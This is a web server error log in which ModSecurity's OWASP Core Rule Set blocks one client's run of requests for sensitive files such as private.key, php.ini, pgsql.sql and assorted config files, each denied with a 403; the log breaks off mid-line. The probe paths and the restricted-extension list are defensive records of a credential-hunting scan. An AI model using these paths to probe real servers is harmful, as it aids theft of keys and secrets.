[Sun Mar 01 20:26:22.530661 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/paytm_wallet/settings.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZVwAAAAs&quot;]
[Sun Mar 01 20:26:22.531177 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/paytm_wallet/settings.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZVwAAAAs&quot;]
[Sun Mar 01 20:26:22.531360 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/paytm_wallet/settings.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZVwAAAAs&quot;]
[Sun Mar 01 20:26:22.624585 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pbs.conf&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVAAAAAk&quot;]
[Sun Mar 01 20:26:22.625136 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pbs.conf&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVAAAAAk&quot;]
[Sun Mar 01 20:26:22.625304 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pbs.conf&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVAAAAAk&quot;]
[Sun Mar 01 20:26:22.693176 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pgsql.sql&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVwAAAAk&quot;]
[Sun Mar 01 20:26:22.693653 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pgsql.sql&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVwAAAAk&quot;]
[Sun Mar 01 20:26:22.693800 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pgsql.sql&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnVwAAAAk&quot;]
[Sun Mar 01 20:26:22.715838 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnWAAAAAk&quot;]
[Sun Mar 01 20:26:22.716324 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnWAAAAAk&quot;]
[Sun Mar 01 20:26:22.716502 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aaSS3utFoLKW-75qAOxnWAAAAAk&quot;]
[Sun Mar 01 20:26:23.037095 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platformio.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnZgAAAAk&quot;]
[Sun Mar 01 20:26:23.037583 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platformio.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnZgAAAAk&quot;]
[Sun Mar 01 20:26:23.037742 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/platformio.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnZgAAAAk&quot;]
[Sun Mar 01 20:26:23.334400 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pos/config.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxncwAAAAk&quot;]
[Sun Mar 01 20:26:23.334895 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pos/config.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxncwAAAAk&quot;]
[Sun Mar 01 20:26:23.335048 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pos/config.ini&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxncwAAAAk&quot;]
[Sun Mar 01 20:26:23.608592 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnfwAAAAk&quot;]
[Sun Mar 01 20:26:23.609942 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnfwAAAAk&quot;]
[Sun Mar 01 20:26:23.610114 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aaSS3-tFoLKW-75qAOxnfwAAAAk&quot;]
[Sun Mar 01 20:26:24.465435 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pytest.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnpAAAAAk&quot;]
[Sun Mar 01 20:26:24.465904 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pytest.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnpAAAAAk&quot;]
[Sun Mar 01 20:26:24.466056 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pytest.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnpAAAAAk&quot;]
[Sun Mar 01 20:26:24.694272 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/email_worker.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnrgAAAAk&quot;]
[Sun Mar 01 20:26:24.694812 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/email_worker.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnrgAAAAk&quot;]
[Sun Mar 01 20:26:24.694997 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/queue/email_worker.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnrgAAAAk&quot;]
[Sun Mar 01 20:26:24.786242 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 